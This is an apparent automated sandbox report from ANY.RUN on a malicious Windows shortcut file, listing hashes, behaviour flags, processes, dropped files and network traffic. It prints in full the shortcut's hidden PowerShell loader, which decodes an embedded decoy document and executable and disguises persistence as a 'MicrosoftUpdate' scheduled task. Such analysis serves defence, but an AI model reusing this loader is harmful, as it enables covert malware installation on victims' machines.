File name:

b91bc5bc74dc056c1286dcbc8f41c09b19e52450b62857d36f454cedab860c55

Full analysis: https://app.any.run/tasks/c4c7d678-2d01-40fa-b9ba-7fb85a8cabad
Verdict: Malicious activity
Analysis date: September 10, 2025, 09:56:24
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
susp-lnk
Indicators:
MIME: application/x-ms-shortcut
File info: MS Windows shortcut, Item id list present, Has command line arguments, Icon number=1, Unicoded, HasExpIcon, length=0, window=normal, IDListSize 0x020d, Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D", Volume "C:\"
MD5:

B9900BEF33C6CC9911A5CD7EEDA8E093

SHA1:

670D4251E9C2438F70796DDE747FEBE45AAE1E19

SHA256:

B91BC5BC74DC056C1286DCBC8F41C09B19E52450B62857D36F454CEDAB860C55

SSDEEP:

24576:pirUMRm+SLQBHo/3LD5pMxigSzaw6r5jQoildLYcEiQNg6sqJ2XXH6q4zxFG2ejo:0

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes powershell commands (LNK)

      • powershell.exe (PID: 7096)

    • References archive utilities (LNK)

      • powershell.exe (PID: 7096)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 7096)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 7096)

    • Uses Task Scheduler to run other applications

      • cmd.exe (PID: 3732)

  • SUSPICIOUS

    • Starts process via Powershell

      • powershell.exe (PID: 7096)

    • Returns all items found within a container (POWERSHELL)

      • powershell.exe (PID: 7096)

    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 7096)

  • INFO

    • Returns all items recursively from all subfolders (POWERSHELL)

      • powershell.exe (PID: 7096)

    • Returns hidden items found within a container (POWERSHELL)

      • conhost.exe (PID: 1392)
      • conhost.exe (PID: 1380)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 7096)

    • Converts byte array into ASCII string (POWERSHELL)

      • powershell.exe (PID: 7096)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 7096)

    • Launching a file from Task Scheduler

      • cmd.exe (PID: 3732)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

Flags: IDList, CommandArgs, IconFile, Unicode, ExpIcon
FileAttributes: (none)
TargetFileSize: -
IconIndex: 1
RunWindow: Normal
HotKey: (none)
TargetFileDOSName: powershell.exe
CommandLineArguments: -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$p=Get-Location;$pa=@('%temp%', $p);$ts=6032787;$pp=Get-ChildItem -Path $pa -Recurse *.* -File | Where-Object {$_.Length -eq $ts} | Select-Object -ExpandProperty FullName;$b=[IO.File]::ReadAllBytes($pp);$c=[System.Text.Encoding]::ASCII.GetString($b);$ai=$c.IndexOf('AEL')+3;$bi=$c.IndexOf('BEL');$ei=$c.IndexOf('EOF');$ah=$c.Substring($ai,$bi-$ai);$bh=$c.Substring($bi+3,$ei-$bi-3);function HB($he){$by=New-Object byte[] ($he.Length / 2);for ($i=0;$i -lt $by.Length;$i++){$by[$i]=[Convert]::ToByte($he.Substring($i*2,2),16);}return $by;}[IO.File]::WriteAllBytes('c:\programdata\NKView.hwp',(HB $ah));Start-Process 'c:\programdata\NKView.hwp';[IO.File]::WriteAllBytes('c:\programdata\3HNoWZd.exe',(HB $bh));Start-Process cmd -ArgumentList '/c schtasks /create /sc minute /mo 5 /tn MicrosoftUpdate /tr c:\programdata\3HNoWZd.exe /f' -WindowStyle Hidden;"
IconFileName: C:\Windows\System32\shell32.dll
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
139
Monitored processes
6
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start powershell.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs schtasks.exe no specs slui.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1380\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1392\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2464schtasks /create /sc minute /mo 5 /tn MicrosoftUpdate /tr c:\programdata\3HNoWZd.exe /f C:\Windows\System32\schtasks.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3732"C:\WINDOWS\system32\cmd.exe" /c schtasks /create /sc minute /mo 5 /tn MicrosoftUpdate /tr c:\programdata\3HNoWZd.exe /f C:\Windows\System32\cmd.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
6408C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
7096"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$p=Get-Location;$pa=@('C:\Users\admin\AppData\Local\Temp', $p);$ts=6032787;$pp=Get-ChildItem -Path $pa -Recurse *.* -File | Where-Object {$_.Length -eq $ts} | Select-Object -ExpandProperty FullName;$b=[IO.File]::ReadAllBytes($pp);$c=[System.Text.Encoding]::ASCII.GetString($b);$ai=$c.IndexOf('AEL')+3;$bi=$c.IndexOf('BEL');$ei=$c.IndexOf('EOF');$ah=$c.Substring($ai,$bi-$ai);$bh=$c.Substring($bi+3,$ei-$bi-3);function HB($he){$by=New-Object byte[] ($he.Length / 2);for ($i=0;$i -lt $by.Length;$i++){$by[$i]=[Convert]::ToByte($he.Substring($i*2,2),16);}return $by;}[IO.File]::WriteAllBytes('c:\programdata\NKView.hwp',(HB $ah));Start-Process 'c:\programdata\NKView.hwp';[IO.File]::WriteAllBytes('c:\programdata\3HNoWZd.exe',(HB $bh));Start-Process cmd -ArgumentList '/c schtasks /create /sc minute /mo 5 /tn MicrosoftUpdate /tr c:\programdata\3HNoWZd.exe /f' -WindowStyle Hidden;"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
Total events
5 163
Read events
5 163
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
3
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
7096powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\998873fce86c645d.customDestinations-msbinary
MD5:66E85C5D931899E43EEB54EC0F254DA3
SHA256:D7921251E7B91F3D097E4132D28BEA793422E89CECD24E5452BC5131FB207052
7096powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\26ZG7EI1XE4P00C4B07S.tempbinary
MD5:66E85C5D931899E43EEB54EC0F254DA3
SHA256:D7921251E7B91F3D097E4132D28BEA793422E89CECD24E5452BC5131FB207052
7096powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:A2343519F9F0C86E58B9F7D0932B7856
SHA256:E4E9CF0F96A09AA47009FA7C441C5806B9C1658FE8D2A273C3BB82A3BAA89945
7096powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_rdepbq2i.yob.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7096powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_m5g0ewr3.uoh.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
20
DNS requests
16
Threats
1

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1268
svchost.exe
GET
200
23.216.77.6:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
1268
svchost.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
6212
svchost.exe
GET
200
23.54.109.203:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
3148
SIHClient.exe
GET
200
23.52.120.96:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
3148
SIHClient.exe
GET
200
23.52.120.96:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
1268
svchost.exe
4.231.128.59:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5032
RUXIMICS.exe
4.231.128.59:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5944
MoUsoCoreWorker.exe
4.231.128.59:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
1268
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
1268
svchost.exe
23.216.77.6:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
1268
svchost.exe
95.101.149.131:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted
5944
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6212
svchost.exe
40.126.31.71:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
google.com
  • 216.58.206.78
whitelisted
settings-win.data.microsoft.com
  • 40.127.240.158
  • 51.104.136.2
whitelisted
crl.microsoft.com
  • 23.216.77.6
  • 23.216.77.28
whitelisted
www.microsoft.com
  • 95.101.149.131
  • 23.52.120.96
whitelisted
login.live.com
  • 40.126.31.71
  • 20.190.159.75
  • 20.190.159.68
  • 20.190.159.64
  • 40.126.31.129
  • 20.190.159.129
  • 40.126.31.67
  • 40.126.31.130
whitelisted
ocsp.digicert.com
  • 23.54.109.203
whitelisted
slscr.update.microsoft.com
  • 74.178.240.61
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 52.165.164.15
whitelisted
self.events.data.microsoft.com
  • 52.168.117.174
whitelisted
activation-v2.sls.microsoft.com
  • 40.91.76.224
whitelisted

Threats

PID
Process
Class
Message
—
—
Unknown Traffic
ET USER_AGENTS Microsoft Dr Watson User-Agent (MSDW)
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
b91bc5bc74dc056c1286dcbc8f41c09b19e52450b62857d36f454cedab860c55